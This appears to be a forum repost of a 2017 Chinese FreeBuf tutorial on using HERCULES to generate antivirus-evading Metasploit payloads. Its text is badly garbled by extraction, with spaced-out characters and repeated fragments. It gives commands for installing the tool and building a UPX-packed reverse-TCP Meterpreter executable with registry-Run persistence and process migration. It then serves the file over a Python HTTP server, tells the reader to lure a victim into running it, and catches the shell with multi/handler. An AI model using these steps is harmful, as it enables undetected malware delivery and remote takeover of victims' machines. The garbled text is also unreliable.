搜索

[11422] 2017-06-05_如何用HERCULES绕过杀软

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2017-06-05_如何用HERCULES绕过杀软 如 何 用 H E R C U L E S 绕 过 杀 软 n o o s e c   F r e e B u f   2 0 1 7 - 0 6 - 0 5 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： n o o s e c ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 H E R C U L E S 是 一 个 由 是 一 个 由 G o 语 言 开 发 的 可 以 绕 过 防 病 毒 软 件 的 可 定 制 的 有 效 载 荷 生 成 器 ， 只 需 简 单 的 设 置 ， 就 可 以 生 成 语 言 开 发 的 可 以 绕 过 防 病 毒 软 件 的 可 定 制 的 有 效 载 荷 生 成 器 ， 只 需 简 单 的 设 置 ， 就 可 以 生 成 用 于 用 于 M e t a s p l o i t 的 免 杀 的 免 杀 p a y l o a d ， 经 测 试 ， 可 完 美 绕 过 当 前 主 流 防 病 毒 软 件 查 杀 检 测 。 ， 经 测 试 ， 可 完 美 绕 过 当 前 主 流 防 病 毒 软 件 查 杀 检 测 。 L e t     u s     l e a r n   h o w   t o   u s e   i t     ! 测 试 环 境 ： 测 试 环 境 ： k a l i         l i n u x       2 . 0               :       1 9 2 . 1 6 8 . 1 . 1 0 0 w i n d o w s 7       x 6 4               :         1 9 2 . 1 6 8 . 1 . 1 4 0 测 试 流 程 ： 测 试 流 程 ： 1 . 下 载 配 置 下 载 配 置 g o 语 言 环 境 ； 语 言 环 境 ； 2 . 下 载 初 始 化 下 载 初 始 化 H E R C U L E S   ； ； 3 . 生 成 免 杀 生 成 免 杀 e x p ； ； 4 . 诱 使 受 害 者 下 载 执 行 诱 使 受 害 者 下 载 执 行 e x p 5 . M e t a s p l o i t 监 听 并 获 取 权 限 监 听 并 获 取 权 限 （ 一 ） （ 一 ） 下 载 配 置 下 载 配 置 g o 语 言 环 境 语 言 环 境 ： ： 在 k a l i   l i n u x   攻 击 机 中 安 装 g o   语 言 环 境 。     1 . 下 载 源 码 包 ： 下 载 源 码 包 ： 2 . 解 压 文 件 至 解 压 文 件 至 / u s r / l o c a l 3 . 设 置 环 境 变 量 （ 让 命 令 设 置 环 境 变 量 （ 让 命 令 g o 有 效 ） 有 效 ） 在 文 件 未 必 追 加 ： 保 存 退 出 使 当 前 配 置 文 件 生 效 4 . 测 试 ： 测 试 ： （ 二 ） （ 二 ） 下 载 初 始 化 下 载 初 始 化 H E R C U L E S ： ： 从 g i t h u b 上 下 载 H E R C U L E S 源 文 件 ： w g e t   - c   h t t p s : / / s t o r a g e . g o o g l e a p i s . c o m / g o l a n g / g o 1 . 8 . 3 . l i n u x - a m d 6 4 . t a r . g z t a r   - C   / u s r / l o c a l   - x z f   g o 1 . 8 . 3 . l i n u x - a m d 6 4 . t a r . g z c d   ~ v i m   . p r o f i l e e x p o r t   P A T H = $ P A T H : / u s r / l o c a l / g o / b i n .     . p r o f i l e g o   v e r s i o n g i t   c l o n e   h t t p s : / / g i t h u b . c o m / n o o s e c / H E R C U L E S . g i t
下 载 H E R C U L E S 相 关 的 资 源 文 件 初 始 化 H E R C U L E S （ 三 ） 生 成 免 杀 （ 三 ） 生 成 免 杀 p a y l o a d 1 . 选 择 生 成 选 择 生 成 P a y l o a d ： ： 运 行 当 前 目 录 下 H E R C U L E S ， 选 择 第 一 个 选 项 ： 2 . 选 择 选 择 T c p 类 型 的 类 型 的   M e t e r p r e t e r     P a y l o a d U P X （ U l t i m a t e   P a c k e r   f o r   E x e c u t a b l e s ） 是 一 款 免 费 的 开 源 可 执 行 封 装 程 序 ， 支 持 来 自 不 同 操 作 系 统 的 多 种 文 件 格 式 。   U P X 简 单 地 将 w g e t   - c   h t t p s : / / g i t h u b . c o m / f a t i h / c o l o r g o   g e t   g i t h u b . c o m / f a t i h / c o l o r g o   r u n   S e t u p . g o # W H A T   I S   U P X   ?
二 进 制 文 件 压 缩 ， 在 运 行 时 将 二 进 制 打 包 （ 解 压 缩 ） 本 身 打 包 到 内 存 中 。 A V   E v a s i o n   S c o r e 是 确 定 有 效 载 荷 反 病 毒 绕 过 能 力 有 效 性 的 一 个 比 例 尺 （ 1 / 1 0 ） ， 1 代 表 通 过 A V 软 件 的 可 能 性 很 低 。 使 用 特 殊 功 能 并 用 u p x 打 包 有 效 载 荷 可 减 少 A V   E v a s i o n   S c o r e 选 择 T c p   类 型 的   P a y l o a d   , 输 入   1 ， 回 车 3 . 进 入 进 入 p a y l o a d 参 数 设 置 界 面 ： 参 数 设 置 界 面 ： 输 入 反 弹 回 连 的 I P 地 址 ， 端 口 号 ： 持 久 性 功 能 将 运 行 的 二 进 制 文 件 添 加 到 w i n d o w s 启 动 注 册 表 （ C u r r e n t V e r s i o n   /   R u n   ）   以 进 行 持 续 访 问 。 此 函 数 触 发 一 个 循 环 ， 尝 试 迁 移 到 远 程 进 程 ， 直 到 成 功 迁 移 为 止 以 下 设 置 可 根 据 自 已 需 要 设 置 ， 这 里 我 选 择 了 使 用 持 久 性 功 能 ， 增 加 了   b y   p a s s   a v   相 关 函 数 功 能 p a y l o a d   并 使 用 了   u p x   加 壳 ， 生 成 了 文 件 名 为 c r e a k . e x e 的 p a y l o a d 反 弹 e x e 程 序 。 # W H A T   I S   " A V   E V A S I O N   S C O R E "   ? # P e r s i s t e n c e : # M i g r a t i o n :
经 过 以 上 设 置 ， 回 车 之 后 ， 会 在 当 前 用 户 主 目 录 下 生 成 相 关 免 杀 e x e 程 序 ： 对 于 相 关 程 序 是 否 免 杀 ， 我 们 可 以 通 过 在 线 a v 查 杀 网 站 进 行 测 试 ， 通 过 3 5 个 查 杀 软 件 扫 描 ， 全 部 扫 描 的 结 果 为 c l e a n ： 国 内 某 杀 软 件   ：
（ 四 ） （ 四 ） W i n 7 下 载 生 成 的 下 载 生 成 的 e x e 在 K a l i   L i n u x   中   e x e 文 件 所 在 目 录 执 行 ， 将 当 前 目 录 文 件 共 享 ： w i n 7   中 使 用 浏 览 器 访 问 ： h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 / c r e a k . e x e ， 下 载 文 件 到 本 地 。 。 （ 五 ） （ 五 ） M e t a s p l o i t 监 听 并 获 取 权 限 监 听 并 获 取 权 限 使 用 m s f ， 加 载 以 下 两 个 模 块 ， 设 置 相 关 参 数 ， 并 等 待 连 接 ： 在 w i n 7 上 运 行 c r e a k . e x e ， m s f   成 功 收 到 反 弹 s h e l l 。 p y t h o n   - m   S i m p l e H T T P S e r v e r e x p l o i t / m u l t i / h a n d l e r   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p
E N D   ： ： 在 测 试 过 程 中 ， 当 运 行 生 成 的 P a y l o a d 之 后 ， 杀 毒 软 件 可 能 会 基 于 行 为 分 析 ， 将 生 成 的 p a y l o a d 识 别 为 木 马 程 序 ， 当 遇 到 这 种 情 况 后 ， 只 需 使 用 H E R C U L E S 重 新 生 成 一 次 ， 就 可   b y   p a s s   t h i s     A V   了 。 在 国 内 ， 各 种 软 件 下 载 网 站 ， 各 种 破 解 程 序 多 不 胜 数 ， 这 些 软 件 都 有 一 个 共 性 ， 在 运 行 的 时 候 ， 建 议 关 闭 杀 毒 软 件 ， 亦 或 是 建 议 先 使 用 杀 毒 软 件 进 行 一 次 云 查 杀 ， 再 告 诉 用 户 ， 此 软 件 是 干 净 、 无 毒 的 ， 建 立 关 闭 杀 毒 软 件 ， 再 运 行 相 关 程 序 文 件 ， 但 结 果 可 能 是 ， 你 运 行 了 一 个 木 马 程 序 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： n o o s e c ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理